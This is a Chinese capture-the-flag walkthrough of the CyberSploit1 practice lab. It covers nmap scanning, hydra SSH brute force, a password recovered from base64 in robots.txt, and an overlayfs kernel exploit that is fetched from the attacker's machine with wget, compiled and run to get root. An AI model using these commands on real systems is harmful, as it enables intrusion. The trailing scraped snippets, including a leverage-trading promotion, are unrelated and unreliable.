靶场通关记录
OSCP系列靶场-Esay-CyberSploit1
总结
getwebshell → 源码注释发现用户名 → robots.txt
发现base64
密码 → SSH登录
提 权 思 路 → 内网信息收集 → 发现发行版本有点老 → 内核overlayfs
提权
准备工作
-
启动VPN
获取攻击机IP >192.168.45.220
-
启动靶机
获取目标机器IP >192.168.176.92
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# ┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# sudo nmap --min-rate 10000 -p- 192.168.176.92
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 11:45 CST
Nmap scan report for 192.168.176.92
Host is up (0.30s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.39 seconds
通过两次收集到的端口:→22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.176.92
信息收集-端口测试
两个端口的话,通常突破口在80端口
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用(待定)
通过Nmap
探测获得SSH的版本信息,可以尝试利用
# 进入msf # 探测版本为OpenSSH 5.9p1 Debian 5ubuntu1.10
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1
貌似存在用户枚举,等没思路的时候可以来试试
22-SSH手动登录尝试(失败)
尝试root
账户的密码爆破
ssh root@192.168.176.92 -p 22
# 密码尝试
password > root
22-SSH弱口令爆破(挂着干别的)
尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
1.hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.176.92 ssh -s 22
80-HTTP端口的信息收集
访问 http://192.168.176.92/ 发现不是一个标准的CMS
从源码查看开始
信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http:
//192.168.176.92:80
收集到一个用户名信息 itsskv
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.176.92:80 -x 302,403
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/robots.txt
端点访问
存在一串代码,推测是加密,带等号尝试用bashe64
解密
1.Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
base64解密
利用kali
解密得到了内容,确认是base64
加密
┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# echo "Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
" | base64 -d
cybersploit{youtube.com/c/cybersploit}
另外两个端点
没东西
漏洞利用-getwebshell
信息泄露getwebshell
已知用户名 itsskv
和 cybersploit{youtube.com/c/cybersploit}
头脑风暴一下,密码会不会和cybersploit{youtube.com/c/cybersploit}
有关
之前hyrda
可以爆破说明22端口
是允许账号密码登录的
22-SSH账号密码登录(成功)
获取账号密码之后利用SSH进行登录
ssh itsskv<span>@192.168.176.92</span> -p22
password > cybersploit (失败)
password > cybersploit{youtube.com/c/cybersploit}(成功)
密码真长,我真的会谢
内网遨游-getshell
FLAG1获取
# 有2个,理论上排除掉第一个,找home下
itsskv<span>@cybersploit-CTF</span>:~$ find / -name local.txt 2>/dev/null
/usr/share/checkbox/jobs/local.txt
/home/itsskv/local.txt
itsskv<span>@cybersploit-CTF</span>:~$ cat /home/itsskv/local.txt
*********************
信息收集-内网基础信息收集
在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测操作系统的发行版本
# 确定发行版本 较老
itsskv<span>@cybersploit-CTF</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
查看内核版本信息
# 确定内核版本
itsskv<span>@cybersploit-CTF</span>:~$ uname -a
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
确认home目录下用户
itsskv<span>@cybersploit-CTF</span>:~$ ls -al /home
total 16
# 有两个用户
drwxr-xr-x 22 cybersploit cybersploit 4096 Sep 4 2020 cybersploit
drwxr-xr-x 20 itsskv itsskv 4096 Sep 4 2020 itsskv
确认home目录下是否有隐藏文件
# 例如.ssh找密码 ./*_history找历史记录等
itsskv<span>@cybersploit-CTF</span>:~$ ls -al /home/itsskv
# 查看了一下没啥
drwxr-xr-x 20 itsskv itsskv 4096 Sep 4 2020 .
drwxr-xr-x 4 root root 4096 Jun 25 2020 ..
-rw------- 1 itsskv itsskv 0 Sep 4 2020 .bash_history
-rw-r--r-- 1 itsskv itsskv 220 Jun 25 2020 .bash_logout
-rw-r--r-- 1 itsskv itsskv 3486 Jun 25 2020 .bashrc
drwx------ 14 itsskv itsskv 4096 Jun 25 2020 .cache
drwx------ 9 itsskv itsskv 4096 Jun 25 2020 .config
权限提升
Linux提权-内核overlayfs提权尝试
因为发行版本较老,若存在以下情况进行overlayfsLinux Kernel Version
提权
系统 | 版本 |
---|---|
Linux Kernel Version | 大于3.13.0小于3.19 |
Ubuntu | Linux 15.04 |
Ubuntu | Linux 14.10 |
Ubuntu | Linux 14.10 |
Ubuntu | Linux 12.04 |
漏洞利用-内核overlayfs提权
msfconsole
msf > searchsploit overlayfs
结合 3.13.0-32
的版本信息选择2与3
# 如果想查看msf对应的内容
cat /usr/share/exploitdb/exploits/linux/local/37292.c
将文件保存在当前目录下,方便开启http
服务
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./shell.c
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# ls
hydra.restore shell.c
攻击机开启服务
1.sudo python3 -m http.server 80
目标机器
# 首先到具有权限的目录下 如/tmp
itsskv<span>@cybersploit-CTF</span>:~$ cd /tmp
# 下载
itsskv<span>@cybersploit-CTF</span>:/tmp$ wget http://192.168.45.220/shell.c
# 给权限
itsskv<span>@cybersploit-CTF</span>:/tmp$ chmod +x shell.c
# 如果是c的需要进行编译
itsskv<span>@cybersploit-CTF</span>:/tmp$ gcc shell.c -o shell.c
# 运行
itsskv<span>@cybersploit-CTF</span>:/tmp$ ./shell.c
spawning threads
mount #1
mount
#2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
提权成功
FLAG2获取
# cat /root/proof.txt
*********************
完结撒花~~~
原文地址: https://bbs.zkaq.cn/t/30873.html
相关文章:

靶场通关记录
OSCP系列靶场-Esay-CyberSploit1 总结 getwebshell → 源码注释发现用户名 → robots.txt发现base64密码 → SSH登录 提 权 思 路 → 内网信息收集 → 发现发行版本有点老 → 内核overlayfs提权 准备工作 启动VPN 获取攻击机IP > 192.168.45.220 启动靶机 获取目标机器I…...

全网最新最全的软件测试面试题
一、前言 与开发工程师相比,软件测试工程师前期可能不会太深,但涉及面还是很广的。 在一年左右的实习生或岗位的早期面试中,主要是问一些基本的问题。 涉及到的知识主要包括MySQL数据库的使用、Linux操作系统的使用、软件测试框架问题、测试…...

如何列出 Ubuntu 和 Debian 上已安装的软件包
当你安装了 Ubuntu 并想好好用一用。但在将来某个时候,你肯定会遇到忘记曾经安装了那些软件包。 这个是完全正常。没有人要求你把系统里所有已安装的软件包都记住。但是问题是,如何才能知道已经安装了哪些软件包?如何查看安装过的软件包呢&a…...
图论---最小生成树问题
在连通网的所有生成树中,所有边的代价和最小的生成树,称为最小生成树。解决最小生成树问题一般有两种算法:Kruskal算法和Prim算法。 Kruskal算法 原理:基本思想是从小到大加入边,是个贪心算法。我们将图中的每个边按…...
elementplus 时间范围选择器限制选择时间范围
<el-date-pickerv-model"form.time" type"daterange"range-separator"-"start-placeholder"开始时间"end-placeholder"结束":disabled-date"disabledDate"calendar-Change"calendarChange" />co…...

【网络】抓包工具Wireshark下载安装和基本使用教程
🍁 博主 "开着拖拉机回家"带您 Go to New World.✨🍁 🦄 个人主页——🎐开着拖拉机回家_Linux,大数据运维-CSDN博客 🎐✨🍁 🪁🍁 希望本文能够给您带来一定的帮助…...
Metasequoia 4 水杉3D建模工具 附序列号
Metasequoia 4是一款非常强大的3D水杉建模工具,它基于多边形建模技术,可以用于创建各种对象并支持多种第三方3DCG软件的文件格式,是一款非常适合从爱好到业务,支持3D电脑绘图,3D印刷,游戏开发等的3D建模软件…...
股票杠杆交易平台排名:淘配网推荐的十大平台
在投资世界中,股票杠杆交易一直以其提供更高回报机会的吸引力而备受欢迎。随着市场的不断发展,出现了越来越多的股票杠杆交易平台。本文将为您介绍淘配网推荐的十大股票杠杆交易平台,并分析它们的特点。 富灯网 - 富灯网以其全面的杠杆产品和…...

CoreData + CloudKit 在初始化 Schema 时报错 A Core Data error occurred 的解决
问题现象 如果希望为 CoreData 支持的 App 增加云数据备份和同步功能,那么 CloudKit 是绝佳的选择。CloudKit 会帮我们默默处理好一切,我们基本不用为升级而操心。 不过,有时在用本地 CoreData NSManagedObjectModel 初始化 iCloud 中的 Schema 时会发生如下错误: Error …...

修炼k8s+flink+hdfs+dlink(三:安装dlink)
一:mysql初始化。 mysql -uroot -p123456 create database dinky; grant all privileges on dinky.* to dinky% identified by dinky with grant option; flush privileges;二:上传dinky。 上传至目录/opt/app/dlink tar -zxvf dlink-release-0.7.4.t…...

Linux 系统性能瓶颈分析(超详细)
Author:rab 目录 前言一、性能指标1.1 进程1.1.1 进程定义1.1.2 进程状态1.1.3 进程优先级1.1.4 进程与程序间的关系1.1.5 进程与进程间的关系1.1.6 进程与线程的关系 1.2 内存1.2.1 物理内存与虚拟内存1.2.2 页高速缓存与页写回机制1.2.3 Swap Space 1.3 文件系统1…...

kafka与zookeeper的集群
基础配置 systemctl stop firewalld && systemctl disable firewalld setenforce 0 sed -i s/SELINUXenforcing/SELINUXdisabled/ /etc/selinux/configvi /etc/hosts ip1 node1 ip2 node2 ip3 node3zookeeper介绍 zookeeper是一个分布式的协调服务,主要用…...

sqlalchemy 连接池
报错 sqlalchemy.exc.TimeoutError: QueuePool limit of size 100 overflow 10 reached, connection timed out, timeout 30 (Background on this error at: http://sqlalche.me/e/3o7r) 查看数据库未活动超时时间 show variables like "interactive_timeout";一般…...

用Blender制作YOLO目标检测器训练数据
推荐:用 NSDT编辑器 快速搭建可编程3D场景 本文将介绍一种非常有吸引力的机器学习训练数据的替代方案,用于为给定的特定应用程序收集数据。 无论应用程序类型如何,这篇博文都旨在向读者展示使用 Blender 等开源资源生成合成数据(S…...

c++视觉处理---均值滤波
均值滤波 cv::blur()函数是OpenCV中用于应用均值滤波的函数。均值滤波是一种简单的平滑技术,它计算每个像素周围像素的平均值,并用该平均值替代原始像素值。这有助于降低图像中的噪声,并可以模糊图像的细节。 以下是cv::blur()函数的基本用…...

QT基础入门——Qt事件(五)
前言: 事件(event)是由系统或者 Qt 本身在不同的时刻发出的。当用户按下鼠标、敲下键盘,或者是窗口需要重新绘制的时候,都会发出一个相应的事件。一些事件在对用户操作做出响应时发出,如键盘事件等&#x…...

自学黑客方法-----(网络安全)
如果你想自学网络安全,首先你必须了解什么是网络安全!,什么是黑客!! 1.无论网络、Web、移动、桌面、云等哪个领域,都有攻与防两面性,例如 Web 安全技术,既有 Web 渗透2.也有 Web 防…...

Dockerfile自定义容器
1、Dockerfile Dockerfile 是用于构建 Docker 镜像的文本文件,其中包含一系列的指令和配置,用于定义镜像的构建过程。通过 Dockerfile,你可以定义镜像的基础操作系统、依赖、环境设置、应用程序等信息,从而实现可复制、自动化的镜…...

(5)SpringMVC处理携带JSON格式(“key“:value)请求数据的Ajax请求
SpringMVC处理Ajax 参考文章数据交换的常见格式,如JSON格式和XML格式 请求参数的携带方式 浏览器发送到服务器的请求参数有namevalue&...(键值对)和{key:value,...}(json对象)两种格式 URL请求会将请求参数以键值对的格式拼接到请求地址后面,form表单的GET和POST请求会…...

【iOS】——仿写计算器
文章目录 一、实现思路二、实现方法三、判错处理 一、实现思路 先搭建好MVC框架,接着在各个模块中实现各自的任务。首先要创建好UI界面,接着根据UI界面的元素来与数据进行互动,其中创建UI界面需要用到Masonry布局。 二、实现方法 在calcu…...

19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信
文章目录 Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket(服务端和客户端都要)2. 绑定本地地址和端口&#x…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...

Golang——6、指针和结构体
指针和结构体 1、指针1.1、指针地址和指针类型1.2、指针取值1.3、new和make 2、结构体2.1、type关键字的使用2.2、结构体的定义和初始化2.3、结构体方法和接收者2.4、给任意类型添加方法2.5、结构体的匿名字段2.6、嵌套结构体2.7、嵌套匿名结构体2.8、结构体的继承 3、结构体与…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.
ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #:…...
0x-3-Oracle 23 ai-sqlcl 25.1 集成安装-配置和优化
是不是受够了安装了oracle database之后sqlplus的简陋,无法删除无法上下翻页的苦恼。 可以安装readline和rlwrap插件的话,配置.bahs_profile后也能解决上下翻页这些,但是很多生产环境无法安装rpm包。 oracle提供了sqlcl免费许可,…...
LangChain 中的文档加载器(Loader)与文本切分器(Splitter)详解《二》
🧠 LangChain 中 TextSplitter 的使用详解:从基础到进阶(附代码) 一、前言 在处理大规模文本数据时,特别是在构建知识库或进行大模型训练与推理时,文本切分(Text Splitting) 是一个…...
Python 高级应用10:在python 大型项目中 FastAPI 和 Django 的相互配合
无论是python,或者java 的大型项目中,都会涉及到 自身平台微服务之间的相互调用,以及和第三发平台的 接口对接,那在python 中是怎么实现的呢? 在 Python Web 开发中,FastAPI 和 Django 是两个重要但定位不…...